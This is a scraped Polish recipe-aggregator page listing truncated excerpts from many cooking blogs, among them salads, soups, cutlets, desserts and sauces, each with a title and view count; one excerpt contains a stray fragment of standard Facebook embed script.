Kolejna prosta i szybka surówka z dodatkiem gotowego dresingu Winegret. sałata lodowa  dresing winegret  Sałatę pokroić, dodać sos i wymieszać

Moje domowe kucharzenie
Duszone kotlety z piersi kurczaka [edytowany: 11.09.13 r.] 279

Dusimy na małym ogniu, po kilku minutach przewracamy na drugą stronę i posypujemy kotlety bułką (powtarzamy to kilka razy, aż skończy nam się bułka), w razie potrzeby gdyby "sos" był za gęsty dolewamy trochę wody i dalej dusimy. 9. Całkowity czas duszenia ok. 20 min. Kalorie: Cała porcja 200 g mięsa - ok. 340 kcal (bez kaszy gryczanej) Porcja z dodatkiem

Malowane smakiem
Pikantne placki z kukurydzy 222

używałam takiej jak do hamburgerów, mieści się na niej cały placuszek), przewracamy na drugą stronę. 4. Smażymy do drugiej stronie i gotowe. 5. Można podawać z ketchupem lub ulubionym sosem, ciekawie smakują także z serkiem kremowym Apetina pesto i rukola. Kaloryczność: porcja ze zdjęcia (ilość składników z przepisu): 410 kcal Smacznego

Malowane smakiem
Kotlety / placki z fasolki szparagowej i jajka (porcja - 310 kcal) 290

żeby zostały widoczne kawałki fasolki i jajka. 3. Dodajemy bułkę tartą, przyprawy i dokładnie mieszamy. 4. Smażymy i gotowe :) Kaloryczność: porcja (zdjęcie) - ok. 310 kcal Uwagi:  polecam z sosem mango z lidla (tydzień azjatycki

Malowane smakiem
Zupa grzybowa z borowików ceglastoporych 433

ciemnoniebieską. Nie suszymy borowików ceglastoporych gdyż s pożywany może być tylko po obróbce termicznej, gdyż surowy, niedogotowany lub niedosmażony jest trujący. My wykorzystujemy tego borowika przygotowując z jego udziałem sosy i zupy. Polecam też: zupę grzybową z prawdziwków i podgrzybków. Zupa z suszonych podgrzybków. Zupa grzybowa (z czosnkiem niedźwiedzim) Zupa a la flaczki Zupa grzybowa z borowików ceglastoporych jest pyszna

Damsko-męskie spojrzenie na kuchnię
83.Jesienne smaczki: czyli zupa krem z dynii, pomidorów malinowych i żółtej papryki! 277

nich pokrojone pomidory i paprykę a także miąższ z dynii, ziele angielskie i liść laurowy. Dusimy całość na wolnym ogniu aż do osiąnięcia półmiękkiej papryki i konsystencji bardzo gęstego sosu z minimalną ilością wody. Gdy taki otrzymamy wyciągamy ziela angielskie i liść laurowy. Podduszone warzywa dodajemy do wywaru z półmiękkimi cząstkami dynii. Zupę gotujemy jeszcze ok.10 minut na wolnym ogniu

Symfonia Smaków
Kotlety mielone 208

Wpis pochodzi z www.mgotuje.pl Kotlety mielone (najlepsze) wg mojego przepisu. Podane z kaszą, sosem pieczarkowym oraz duszoną marchewką. Krótkie smażenie kotletów a następnie odparowanie ich sprawia, że mięso nie chłonie dużej ilości tłuszczu, kotlety nie wysuszają się i są miękkie w środku. Ja zawsze do wyrabiania mięsa dodaję trochę zimnej wody, dzięki

Marta Gotuje
82.Zielonkawa jesień: czyli karmelizowane zielone pomidorki! 194

dodajemy odsączony sok z pomidorków i dalej regularnie mieszamy by powstał dość płynny karmel. Gdy takowy powstanie dodajemy łyżkę masła, całość jeszcze chwilę jeszcze podgrzewamy by karmel osiągnął konsystencję sosu - Smacznego! (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v2.0"; fjs.parentNode.insertBefore(js, fjs); }(document

Symfonia Smaków
Pudding z chałki 288

żeby masa wypełniła wszystkie przestrzenie. Wierzch posypać łyżką cukru. Pudding piec 20 minut w 170 stopniach C. Upieczony pudding wyjąć ostrożnie z formy. Kroić poprzecznie. Podawać samodzielnie lub z sosem angielskim, ewentualnie bitą śmietaną. W wersji na szybko - podać z gotowym deserkiem waniliowym, uprzednio podgrzanym i owocami. Pudding wyśmienicie smakuje zarówno na ciepło, jak i na zimno. Smacznego

kolorowotorcikowo
Domowy fast food 184

Szaszłyki z sosem charmoula Marokańskie kefty Pity z klopsikami, botwinką, fetą Pity z rybą i surówką Kanapeczki z halloumi Cypryjskie kanapki

Chilli Czosnek i Oliwa
Cytrynowo-miodowy łosoś z ćwikłą z młodych buraczków podany z sałatką truskawkową i grillwanym ananasem! 207

smaku. Za pomocą blendera zmiksuj na gładką masę. Sałatka truskawkowa: - łyżka soku z cytryny - łyżka soku z ananasa - łyżka miodu - 250 g truskawek Truskawki kroimy w drobną kosteczkę, doprawiamy sosem z w/w składników. Podajemy od razu. Smacznego! ;-) przepis zgłaszam do konkursu

SMYKWKUCHNI
Obiadki wyparowane:) 196

niedawna jestem posiadaczką garnka do gotowania na parze i bardzo często z niego korzystam. Jak nie da się ugrillować, to uparuję jakieś warzywka i do tego sos i jest super letni obiad (tylko dla mnie, bo rodzinka kręci nosem na takie dania;) Czytaj więcej

Zdrowa Kuchnia Sowy
KRÓLIK W WINIE, Z WARZYWAMI, CZYLI LAPIN AU VIN 260

delikatnie kawałki mięsa na drugą stronę. Mieszamy rzadko i bardzo ostrożnie, tylko po to by nic nie przywierało do dna. Ostrożnie wyjmujemy kawałki mięsa na talerze i polewamy warzywnym sosem. Podajemy z bagietką, ryżem, kaszą lub samo. Smacznego

Smaczne Zdrowe
Zielona sałatka 403

posiekanym szczypiorkiem. W osobnej miseczce zmieszać jogurt, majonez oraz ocet jabłkowy. Doprawić odrobiną soli i pieprzu. Dodać skórkę startą z 1/2 cytryny oraz łyżkę soku z cytryny. Dokładnie wymieszać, sosem polać składniki. Przed podaniem oprószyć kwiatami praz świeżo zmieloną solą i pieprzem.                     Smacznego:)   Przepis dodaję do akcji

Z miłości do słodkości
Sałatka piknikowa z grzankami 240

obficie ostrą papryką i upiec w tosterze, lub usmażyć na patelni. Pokroić w kosteczkę, dodać do sałatki. Szczypiorek posiekać, wymieszać z majonezem i ketchupem, dodać wszystkie przyprawy, dokładnie wymieszać. Sosem polać warzywa. Smacznego:) Przepis dodaję do akcji

Z miłości do słodkości
Bukiet sałat z serem i miętą 226

Posypać pokruszonym białym serem oraz pokrojonymi w ukośne kawałki kiełbaskami i porwaną miętą. Oliwę zmieszać z octem jabłkowym, tymiankiem i przeciśniętym ząbkiem czosnku, doprawić do smaku. Sosem polać sałatkę. Przed podaniem doprawić jeszcze całość świeżo zmieloną solą i pieprzem. Udekorować ziołami. Smacznego:) Przepis dodaję do akcji

Z miłości do słodkości
Makaron z tuńczykiem i warzywami 391

ósemki pomidory. Majonez zmieszać z jogurtem, dodać przeciśnięty przez praskę czosnek. Doprawić do smaku solą, pieprzem i sokiem z cytryny. Dodać kapary i rozdrobnionego tuńczyka, wymieszać. Składniki sałatki polać sosem, posypać oliwkami i świeżą bazylią. Doprawić do smaku solą i pieprzem. Smacznego:) Przepis dodaję do akcji

Z miłości do słodkości
Kolorowa makaronowa sałatka z tuńczykiem 204

Przygotowanie Makaron ugotować al dente w osolonym wrzątku. Odcedzić. Cebulę drobno posiekać, zeszklić na odrobinie oleju. Dodać drobno posiekany czosnek oraz odsączonego tuńczyka. Pomidory pokroić w kosteczkę, dodać do sosu, dusić ok. 10minut na małym ogniu. Doprawić chili, ziołami prowansalskimi, solą i pieprzem. Dodać makaron, dokładnie wymieszać. Podawać np. w koszyczkach z cytryny. Posypać posiekanym szczypiorkiem

Z miłości do słodkości
Wieniec krucho-ptysiowy ze śliwkami 181

Dostałam kilka pysznych śliwek, nie mogłam więc pozwolić by się zmarnowały:) Wymyśliłam totalny miks, który okazał się wyjątkowo smaczny. Połączyłam kruche ciasto z ciastem ptysiowym, sosem śliwkowym oraz masą śmietankową. Całość wykańcza garść świeżych owoców, cukier puder i mięta... Ciasto kruche: 150g mąki pszennej, 50g cukru, 100g masła lub margaryny,  jajko. Mąkę przesiać, dodać cukier, posiekane masło i jajko

Z miłości do słodkości
Łosoś z warzywami 263

Składniki: ok 1 kg łososia 200 gr pieczarek 1 czerwona papryka wiązka szparagów szczypior 2 łyżki oliwy z oliwek glazura: 3 łyżki sosu sojowego 3 łyżki octu winnego 1 łyżka pasty curry 1 łyżka pasty imbirowej- lub startego imbiru 1 łyżka suszonego czosnku- lub świeżego Wykonanie: Składniki na glazurę mieszamy- i smarujemy poporcjowanego łososia. Łososia wkładamy do nagrzanego piekarnika

Smaki Edyty
A może na grzyby? 181

Osobiście należę do pasjonatów zbierania grzybów. Cieszą oko takie okazy. Ostatnie zbieranie to podgrzybki, kurki i nieliczne prawdziwki. Najczęściej zamrażam grzyby i zimą mam świeże, pachnące do  rożnych sosów i potraw

W kuchennym oknie Ewy
Figa z miodem i migdałami 186

delikatnie oprószyć cynamonem. Przełożyć do naczynia do zapiekania, włożyć do nagrzanego piekarnika na 180 stopni góra dół i zapiekać około 15 minut. Wyjąć przełożyć na talerz i polać gorącym sosem. Podać na gorąco z śmietaną i posypać migdałami

Ala piecze i gotuje
Z mojego kuchennego okna 156

innymi Tak chciałabym prowadzić ten blog. Odkrywać nowe przepisy, dzielić się nimi, by stały się poezją dnia codziennego. Wkrótce ciekawe przepisy Na początek odsyłam do wypróbowanych: Pulpety w sosie pomidorowym Szarlotka

W kuchennym oknie Ewy
Kotlety z ryżu 201

masła lub oleju, siekaną zieleninę, sól , pieprz i dobrze wyrobić.. Z masy uformować kotlety, obtaczać w bułce i smażyć na tłuszczu  z obu stron. Podawać z pikantnym sosem  pomidorowym,  grzybowym i surówką. SMACZNEGO

W kuchennym oknie Ewy
Nadziewany kalafior 236

dokładnie w każdą szczelinę. Owinąć  w folię aluminiową i  piec w piekarniku 180 stopni, przez około pół godziny. Tak przygotowane danie mozŻna polać tratĄ bułką lub dowolnym sosem, np. czosnkowym.  SMACZNEGO

W kuchennym oknie Ewy
Sałatka z łososiem i ryżem 192

pokrojonego w piórka i sparzonego. Ogórki pokrojone w kostkę. Cebula w kostkę, łosoś  -średnie kawałki. Jajka pokrojone w kostkę.Wszystko łączymy. dodajemy jeszcze przeciśnięty przez praskę czosnek. Mieszamy sos ( ketchup, jogurt, majonez) dodajemy do składników- mieszamy. Odstawiamy na 1-2 godz. do lodówki. SMACZNEGO

W kuchennym oknie Ewy
Pomidorki koktajlowe z mozzarellą 187

opłukać przekroić na  połowę , ułożyć w naczyniu. Pomiędzy włożyć kawałki mozzarelli.Posypać posiekaną bazylią. Z oliwy, octu, miodu, soli i pieprzu przygotować sos. Polać sałatkę. Gotowe. Polecam również:  Sałatka z selera naciowego                            Sałatka z ananasem SMACZNEGO

W kuchennym oknie Ewy
Pesto bazyliowe 425

Oryginalny, włoski, zielony sos pesto alla genovese składa się z bazylii, parmezanu, orzechów pinii oraz oliwy z oliwek z dodatkiem czosnku i soli. Jednak czasami można parmezan zastąpić innym twardym serem, np. Grana Padano. Drogie orzeszki pinii zaś można zamienić na orzechy włoskie, czy migdały. Tradycyjnie pesto robi się rozcierając składniki w moździerzach, z użyciem […] The post Pesto bazyliowe

Kulinarne Przeboje
Smażone patisony 180

pokrywką i smażymy jeszcze chwilę na bardzo małym ogniu - wtedy zrobią się super mięciutkie. Odsączamy na papierowym ręczniku. Tak usmażone patisony proponuję podawać na mixie sałat. Doskonale smakują z sosem tatarskim, lub - w wersji  "light" - z dipem jogurtowym

Moje Kuchenne Rewelacje
Tagliatelle z kurczakiem, bazylią i orzechami 303

bazyliowym pesto. Smażymy mięso i dodajemy przekrojone na pół pomidorki koktajlowe. Po kilku minutach zdejmujemy  z patelni. Ugotowany makaron odcedzamy, wrzucamy na patelnię i mieszamy  z pozostałym sosem. Przystrajamy świeżymi listkami bazylii

Moje Kuchenne Rewelacje
Rolada schabowa z pieczarkami i mięsem mielonym 232

Pieczemy w piekarniku w temperaturze 220-230 stopni  około godzinę, często podlewając wodą, aby mięso się nie przypaliło. Mięso kroimy na plastry grubości ok. 1 cm. Podajemy z sosem - najlepiej pieczarkowym

Moje Kuchenne Rewelacje
Sałatka z tuńczykiem i kukurydzą 359

puszka tuńczyka w sosie własnym    ( ewentualnie w oleju) - puszka kukurydzy - 8 jajek - 2 jabłka - duża cebula - oliwa z oliwek - sól, pieprz PRZYGOTOWANIE Jajka gotujemy na twardo. Po  ostudzeniu kroimy w kostkę.  Tak samo kroimy obrane jabłka i cebulę. Dodajemy odcedzoną kukurydzę i tuńczyka z puszki. Solimy, pieprzymy, polewamy oliwą i ...gotowe

Moje Kuchenne Rewelacje
Pieczona gęś nadziewana jabłkami z majerankiem 213

czasu do czasu polewać wytapiającym się tłuszczem. Wyłączyć piekarnik i pozostawić jeszcze na 15 minut. Gęś pokroić. Połowę nadzienia  zmiksować ze szklanką tłuszczu spod gęsi. Podawać powstały sos w sosjerce

Moje Kuchenne Rewelacje
Sałatka a'la Cezar 333

Chleb tostowy kroimy w mał ą kostkę. Smażymy grzanki na oliwie posypując czosnkiem i dużą ilością ziół prowansalskich. Sałatkę doprawiamy,skrapiamy oliwą i po ostudzeniu dodajemy grzanki. Podajemy z sosem Cezar lub dipem czosnkowym

Moje Kuchenne Rewelacje
Burrito w tortilli kukurydzianej 319

Wkładamy do nagrzanego do 180 stopni piekarnika i zapiekamy około 10 minut , aż ser się rozpuści.  Możemy podawać same, z kwaśną śmietaną lub - tak jak my lubimy- z sosem czosnkowym

Moje Kuchenne Rewelacje
Kurczak w kolorowej papryce 193

słodkiej w proszku. Zmniejszamy ogień i wrzucamy papryki pokrojone w kostkę. Wlewamy odrobinę wody, przykrywamy i dusimy przez około 20 minut.  Podajemy z ryżem - u mnie z tajskim sosem chili słodko -pikantnym. Smacznego

Moje Kuchenne Rewelacje
Strogonow 274

minut. Mąkę rozprowadzamy z pozostałą wodą, mieszając mięso wlewamy wodę z mąką, dodajemy pieczarki z cebulą i papryką, doprowadzamy do wrzenia i zestawiamy z ognia. Około szklanki sosu stopniowo wlewamy do roztrzepanej śmietany, dokładnie mieszamy, wlewamy do mięsa  i podgrzewamy na małym ogniu przez 2-3 minuty. Przekładamy do wazy, posypujemy zieleniną - koperkiem lub pietruszką. Smacznego

Salonik smaków
Razowe spaghetti z pieczarkami i papryką 278

ogniu od czasu do czasu mieszając. W tym czasie podsmażamy pieczarki pokrojone w plasterki (przyprawione solą i pieprzem)  z pokrojonymi w kostkę paprykami ( około 10 minut). Dodajemy do sosu i dusimy razem do końca pozostałego czasu..                              Posypujemy startym

Moje Kuchenne Rewelacje
AROMATYCZNE PIERSI Z KURCZAKA W PANIERCE Z PŁATKÓW KUKURYDZIANYCH A LA KFC – 3,70 zł 484

będzie surowy), w razie potrzeby wyławiamy z patelni przypalające się odpadnięte płatki. 6.PODANIE: > jako samodzielna przekąska z dipami lub do obiadu z frytkami i surówką. Świetnie smakuje z naszym sosem czosnkowym. OM NOM NOM! Post AROMATYCZNE PIERSI Z KURCZAKA W PANIERCE Z PŁATKÓW KUKURYDZIANYCH A LA KFC – 3,70 zł pojawił się poraz pierwszy w NERDS' KITCHEN

Nerds Kitchen
ŚLIMACZKI/PASZTECIKI Z CIASTA FRANCUSKIEGO ZE SZPINAKIEM I SEREM FETA – 2 zł 718

warto sprawdzić ich stan zarumienienia, są gotowe jeśli posiadają złoto-brązowy kolor. 10. PODANIE: > ostrożnie wykładamy łopatką na talerz. Polecamy jeść z sosem majonezowym (wystarczy wymieszać składniki z listy). OM NOM NOM! Post ŚLIMACZKI/PASZTECIKI Z CIASTA FRANCUSKIEGO ZE SZPINAKIEM I SEREM FETA – 2 zł pojawił się poraz pierwszy w NERDS' KITCHEN

Nerds Kitchen
DOMOWE LODY TRUSKAWKOWE – 1 zł 14763

jeść je od razu. Po krótkiej wizycie w lodówce będzie je można znowu włożyć do zamrażarki (bo w lodówce się nie rozmrażają, tylko lekko miękną). Warto polać czekoladowym sosem (rozpuszczona czekolada z dodatkiem mleka). OM NOM NOM! Post DOMOWE LODY TRUSKAWKOWE – 1 zł pojawił się poraz pierwszy w NERDS' KITCHEN

Nerds Kitchen
ROLADA SEROWA Z KURCZAKIEM – 3,80 zł 1252

wyłączajcie piekarnika, bo zaraz znowu będzie Wam potrzebny. 13. PODANIE: roladę pokrójcie w 2 cm paski i podajcie. Smakuje dobrze na ciepło i na zimno. My podaliśmy z sosem czosnkowym (przepis tutaj ). Jeśli traktujecie to jako danie główne, należy dorobić do tego surówki i zapychacza (smażony ryż lub pieczone ziemniaki). OM NOM NOM! Post ROLADA SEROWA Z KURCZAKIEM

Nerds Kitchen
Placki z pomidorami z wyspy Santorini 223

Oliwa powinna sięgać do połowy wysokości placuszków. Placki smaż przez 2-3 min na stronę, a następnie odsącz na ręczniku papierowym.  Placuszki możesz podać z jogurtem naturalnym lub sosem tzatziki. *** Podoba Ci się ten wpis? Śledź moją stronę na  Facebooku  lub  Google + , aby być na bieżąco z kolejnymi wpisami

Chilli Czosnek i Oliwa
Gołąbki bez zawijania 317

bulionem wymieszanym z koncentratem pomidorowym, dodałam czosnek przeciśnięty przez praskę i pozostałą przesmażoną cebulkę. Dusiłam pod przykryciem ok 1,5 godziny. Pod koniec tylko odkryłam je i zredukowałam ilośc sosu. Gołąbki podałam z ziemniakami. SMACZNEGO życzy BLONDYNKA

Blondynka Gotuje
Nie ma jak u mamy. Kuchnia polska. 277

aranżacje, autorka porywa nas w podróż nie tylko do kuchni ale również po całej Polsce. Uwielbiam takie połączenia. Tutaj zdjęcie starej etykiety Tyskiego dobrane do białej kiełbasy w sosie polskim, kilka stron dalej golonka zapiekana w piwie i ogromna kolejka do Supersamu, czy dziewczynka zbierająca jeżyny do chłodnika z owoców leśnych. Prawie każdy przepis jest opatrzony zdjęciem przywołującym historię potrawy

Brzuszki Łakomczuszki
Proszek grzybowy - mączka grzybowa. Jak przygotować i jak używać ? 244

grzybowa to nic innego jak zmielone drobno suszone grzyby. Skoro już wiecie jak suszyć grzyby to z części możecie zrobić sobie właśnie taki proszek przyprawowy. Doskonały dodatek do zup, sosów, mięs albo zapiekanek. To bardzo intensywna przyprawa i warto mieć ją w swoim zestawie. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Macedonia, czyli sałatka z arbuza z serem feta 270

około 10 dużych listków świeżej mięty, które dokładnie pomieszałem z sokiem z cytryny, niewielką ilością czarnego, świeżo mielonego pieprzu i łyżką oliwy. Ułożoną na talerzu sałatkę polałem tak przygotowanym sosem cytrynowo - miętowym. Całość udekorowałem kilkoma małymi listkami świeżej mięty. Podałem z ciabattą.  Prawie jak na wakacjach

Wyprawy kulinarne
Królik duszony w winie z warzywami i kluskami śląskimi 426

nadmiaru wody. Kluski wyłożyłem na talerze, obok nich ułożyłem cząstki królika, a następnie na kluskach ułożyłem warzywa, z którymi dusił się królik, całość obficie podlewając powstałym z duszenia królika sosem. Danie udekorowałem kilkoma listkami tymianku

Wyprawy kulinarne
Pasta z pietruszką, szynką parmeńską, groszkiem i orzechami włoskimi 189

pieprzem. Dodajemy 3/4 pęczka posiekanej lub porwanej natki pietruszki oraz groszek i wlewamy 5 łyżek wody z gotującego się makaronu (skrobia znajdująca się w tej wodzie zagęści nam sos). Dusimy na wolnym ogniu składniki, wrzucamy na patelnię makaron i wszystko dokładnie mieszamy. Przed podaniem posypujemy pozostałą natką pietruszki oraz posiekanymi orzechami

Mango Papaja
Sałatka z tuńczykiem, groszkiem i fasolą 971

łyżeczka oleju kukurydzianego BIOLEVITA w saszetce   (dostępna m.in. TU ) sól, pieprz do smaku Groszek i fasolę odcedzić z wody/zalewy. Cebulę posiekać w drobną kosteczkę. Tuńczyka odcedzić z sosu i ewentualnie podrobić jeśli w kawałku. Ogórka kiszonego pokroić w kostkę. W salaterce zmieszać tuńczyka z warzywami, olejem i przyprawami. Odstawić na co najmniej 15 min. żeby smaki się „przegryzły”. Jeść

Grunt to przepis!
FIGI KARMELIZOWANE 209

mieszając delikatnie zawartością patelni. Dodaję alkohol, czekam aż większości odparuje, w międzyczasie odwracając figi na drugą stronę. Chwilę trzymam na patelni, po czym przekładam na talerz, polewam powstałym sosem, dodaję jogurt i posypuję orzechami. SMACZNEGO! Pozdrawiam, Karmel-itka

W kuchni Karmel-itki
Dietetyczna owocowa sałatka z truskawkami i migdałami! 278

szklanki ugotowanej kaszy kuskus - garść truskawek - łyżka suszonej żurawiny - 1/2 małego banana - 1/4 awokado - 3 pomidorki koktajlowe - łyżka płatków migdałowych - listki świeżej melisy - łyżka płatków z suszonych pomidorów sos z octem balsamicznym: - 1 łyżka octu balsamicznego - 1 łyżka soku z pomarańczy - odrobina soli - łyżeczka oleju z pestek winogron Idealna, obłędna i wyjątkowa! Koniecznie do zrobienia! Buuuziaki! Zapraszam na mój profil

SMYKWKUCHNI
TARTA / QUICHE Z KURCZAKIEM I CEBULĄ – 3,75 zł 349

przygotowaną masą ze śmietany, sera i jajek. 9. PIECZENIE (25-30 min): gotową tartę wkładamy do nagrzanego piekarnika do 160 stopni. Pieczemy do momentu zarumienienia się brzegów oraz powierzchni sosu na mocno złoty kolor, czyli ok. 30 min. Następnie wyjmujemy tartę z piekarnika i pozwalamy jej odpocząć co najmniej 10 minut, wtedy łatwiej będzie ją porcjować i wyjmować z formy

Nerds Kitchen
Schab peklowany parzony 352

parzymy schab przez kolejne 5 minut, zostawiamy schaby aż płyn ostygnie. Wyjmujemy schaby, osuszamy ręcznikiem papierowym i wstawiamy do lodówki. Schab idealny na kanapki, jako zimna przekąska z zimnymi sosami, chrzanem, buraczkami, czy borówkami. Pokrojone plastry schabu można zalać klarowaną galaretką. The post Schab peklowany parzony appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Prosty deser truskawkowo-żurawinowo waniliowy 197

mąkę ziemniaczana i trochę ksylitolu. Wszystko razem mieszamy i wlewamy na gorące mleko. Gdy masa zacznie gęstnieć oddajemy wanilię i odstawiamy do ostygnięcia.  Do pucharka wlewam na przemian sos truskawkowy i masę waniliową. Całość można jeść od razu:) smacznego

ciastkarnia na kruchym spodzie
Panna cotta po raz kolejny 229

około 4 godziny. Aby po tym czasie wyjąć panna cottę w filiżanki należy ją włożyć na chwile do ciepłej wody. Gdy ułożymy ją na talerzu następnie  oblać sosem i można podawać do stołu:) Smacznego

ciastkarnia na kruchym spodzie
Cukinia faszerowana + kotleciki z farszu 220

gołąbków lub wszelkiego rodzaju faszerowanych warzyw graniczy czasem z cudem. Dawno już przestałam się tym martwić - po prostu z farszu którego mam w nadmiarze robię kotleciki i podaję w sosie następnego dnia. Czytaj więcej

Buniabaje w kuchni
Surówka z białej kapusty 428

produktów które są dostępne u nas przez cały rok. Ale wiadomo, latem są bardziej aromatyczne i pachnące. Ja zrobiłam z  majonezem ale równie pyszna jest z różnymi sosami i dresingami. Składniki: 0,5 kg białej kapusty 1 mniejsza marchewka 1/4 papryki czerwonej 5 cm pora biała część 1 łyżka pokrojonej natki pietruszki 2- 3 łyżki majonezu Do smaku sól

Ala piecze i gotuje
Ajvar- bałkański przysmak 229

moja pierwsza przygoda z przetworami, a do zrobienia ajvaru zachęciło mnie to, że jest zrobiony z pieczonych warzyw. Muszę przyznać, że jest wyśmienity!;) Można użyć go jako bazę sosów paprykowych, jako dodatek do mięs z grilla lub po prostu do kanapek. Przepis pochodzi z bloga  OlgaSmile , ale zmniejszyłam proporcje o połowę. Wyszło mi 4 nieduże słoiczki (po około

Czerwona Porzeczka
Salsa meksykańska na zimę 218

Salsa meksykańska to delikatnie słodko-pikantny sos na bazie pomidorów, który możemy użyć do różnego rodzaju mięs, tortilli, burgerów, czy  nachos'ów. Przepis znalazłam na stronie  Filozofia Smaku . Polecam!:) Składniki: 1,5 kg pomidorów 3 papryki (u mnie dwie czerwone i jedna żółta) 2 cebule pokrojone w kostkę 2 papryczki chili 4 ząbki czosnku drobno posiekane 6 łyżek

Czerwona Porzeczka
Kurczak w piwie 299

kolendry 1 łyżeczka suszonej mięty 2,5 łyżeczki przyprawy do kurczaka 0,5 łyżeczki tymianku 1 łyżeczka słodkiej papryki Przygotowanie: W kuchni często używamy różnych mikserów, dlatego mikser do sosów jest niezastąpiony w przygotowywaniu sałatek, a ja dzisiaj złamałam jego główne zastosowanie. Okazało, się iż taki mikser  jest świetnym rozwiązaniem do różnego rodzaju marynat. A najważniejszą jego zaletą jest

Niezły Młynek
Chleb z musztardą 153

miałam mało wolnego czasu wyręczyłam się automatem do chleba..wystarczy włożyć składniki , ustawić program i gotowe..Ja do chleba dodałam musztardę sarepską Develey ..wcześniej musztardę wykorzystałam do sosu  z klopsikami ..Chlebek wyszedł pyszny..musztarda nie jestem wyczuwalna po upieczeniu, polecam..a do chlebka świeżo wędzone mięsko...Pomysł na chlebek z dodatkiem musztardy znalazłam  tutaj . 500 g mąki białej

Moje domowe kucharzenie
PIECZONY CZOSNEK. 238

jako dodatku do potraw, przyprawy, do przyrządzania pasty do pieczywa, albo po prostu jako przekąski. Naprawdę! I tak, jak po spożywaniu czosnku w stanie surowym, nawet w dipach czy sosach, w przypadku pieczonego z pewnością nie odstraszysz ukochanego/ukochanej. Nie ucieknie, gdy będzie miało dość do pocałunku :) Niemniej, to czosnek, więc guma do żucia lub miętówka wskazana. Poza tym... czosnek

W kuchni Karmel-itki
Domowy makaron do zup owocowych 194

patelni rozgrzewamy łyżkę oleju. Z ciasta smażymy 6 dużych naleśników. Pozwalamy im trochę przestygnąć, zwijamy w rulony i kroimy na makaron. Najlepiej smakuje w owocowej zupie lub ze słodkim sosem

prawdziwe jedzenie
Tarta z grzybami leśnymi. 227

ostatnim weekendzie mam mnóstwo grzybów. Przerabiam je na każdy możliwy sposób, a to zupa grzybowa, a to sos grzybowy do mięsa. Suszę, marynuję. Dzisia przyszedł czas na rewelacyjną tartę. Jeśli macie pod ręką trochę podgrzybków (bądź jakichkolwiek grzybów leśnych) koniecznie ją zróbcie. CIASTO: 250g mąki  125g masła 1 żółtko 2 szczypty soli 50 ml wody Jest to sprawdzony przeze

Brzuszki Łakomczuszki
Kurczak z pomidorami na ostro - Dieta 3D Chilli 340

pomidory bez skórki, pokrojone w kostkę 1 płaska łyżka koncentratu pomidorowego 2 łyżki oliwy z oliwek pół łyżeczki chili pół łyżeczki papryki ostrej pół łyżeczki papryki słodkiej 1 łyżeczka sosu tabasco 1 łyżeczka oregano 1 łyżeczka bazylii szczypta soli 1. Do kurczaka dodajemy łyżkę oliwy, chili, paprykę ostrą, paprykę słodką, tabasco i szczyptę soli. Mieszamy, aby przyprawy dokładnie pokryły wszystkie

My Culinary Art
Weekend u Mamy: Rolada szpinakowa z łososiem 256

Almette, kładziemy równo plastry łososia i znowu zawijamy. Owijamy sreberkiem i wstawiamy do lodówki na minimum 2 godziny, a najlepiej na całą noc. Smacznego! :) Wskazówka: Do rolady idealnie pasuje sos balsamiczny (jak na zdjęciach

My Culinary Art
Grillowany stek wołowy 247

klarowanego i wrzucamy steki. Smażymy 2-3 minuty z każdej strony. 4. Zdejmujemy steki z patelni i zostawiamy na kilka minut aby "odetchnęły". Przekładamy na talerz i polewamy powstałym sosem z talerza i patelni. Podajemy z masłem czosnkowym lub puree czosnkowym (jak na zdjęciu. do ziemniaków tuż przed ugniataniem dodajemy dwa przeciśnięte przez praskę ząbki czosnku). Gotowe! :) Wskazówka: Nie smażymy

My Culinary Art
Quesadilla z kurczakiem 1240

wkładamy naszą quesadillę. Smażymy ok. 3-4 minut z każdej strony (aż tortille lekko się zarumienią, a ser roztopi). Gotowe! P.S. Ja podałam moją quesadillę z kwaśną śmietaną oraz sosem tabasco

My Culinary Art
Sałatka grecka 328

polewamy oliwą z oliwek i posypujemy oregano. Smacznego! :) Uwagi: Do prawdziwej sałatki greckiej nie dodaje się sałaty, jednak możecie ją podać w stylu anglosaskim - z posiekaną sałatą lodową i sosem vinaigrette

My Culinary Art
Sajgonki z paluszkami krabowymi/ Spring rolls with crab sticks 263

składamy"w kopertę" i zawijamy. Robimy tak pozostałe sajgonki. 3. Rozgrzewamy olej w garnku lub frytkownicy. Smażymy sajgonki porcjami, ok. 40 sekund. Odsączamy na ręczniku papierowym. Podajemy z sosem słodko-kwaśnym lub słodkie chilli. Gotowe! :) Wskazówka: Nie przestraszcie się, że na sajgonkach po wrzuceniu do oleju zaczną robić się bąble. Ja za pierwszym razem myślałam, że sajgonki same wyjdą

Tajskie smaki
Kuleczki ziemniaczane 236

się zarumienią i obracamy na drugą stronę. Wyjmujemy je na ręcznik papierowy by obciekły z tłuszczu. Podajemy na gorąco jako dodatek do mięs lub z dodatkiem jakiegoś sosu

Kolizje Smaków
Spaghetti Bolognese według przepisu Gordona Ramsay'a 1026

patelni wykładamy koncentrat pomidorowy, mieszamy go ze składnikami. Po chwili dolewamy szklankę wina i redukujemy jego ilość. Dolewamy pomidory i intensywnie mieszamy całość. Gordon Ramsey dodaje w tym momencie sos Worcestershire, ale w Polsce nie mogłyśmy go dostać więc omijamy ten składnik. Podsmażamy chwile i wyłączamy płytę. Zostawiamy na jakieś 5 minut by składniki przegryzły się. Po tym czasie dolewamy

Kolizje Smaków
Tortilla po meksykańsku 203

Dzisiaj propozycja przypadnie do gustu wielbicielom ostrych, meksykańskich smaków. Placki do tortilli z ostrym farszem z mięsa mielonego, czerwonej fasoli, papryki i pomidorów. Całości dopełnia sałata i sos w postaci jogurtu naturalnego. Jeśli jednak ktoś nie lubi ostrych dań, wystarczy zmniejszyć ilość przyprawy i mamy bardzo smaczny, intensywny w smaku obiad dla całe rodziny. Czas przygotowania: 25 minut Ilość porcji

Kolizje Smaków
Spring rolls'y 447

mamy ochotę. Całość skrapiamy kilkoma kroplami oliwy, możemy doprawić bazylią i oregano. Papier zawijamy w ruloniki. Potrawę możemy zjeść od razu po przygotowaniu maczając końcówki   w sosie koperkowym, czosnkowym, pietruszkowym lub po prostu obficiej skroplić oliwą. Spring rolls'y idealnie nadają się jako przekąska do pracy, czy na biwak, zwłaszcza w tak upalne dni. Do środka możemy włożyć dowolne

Kolizje Smaków
Kotleciki serowe 188

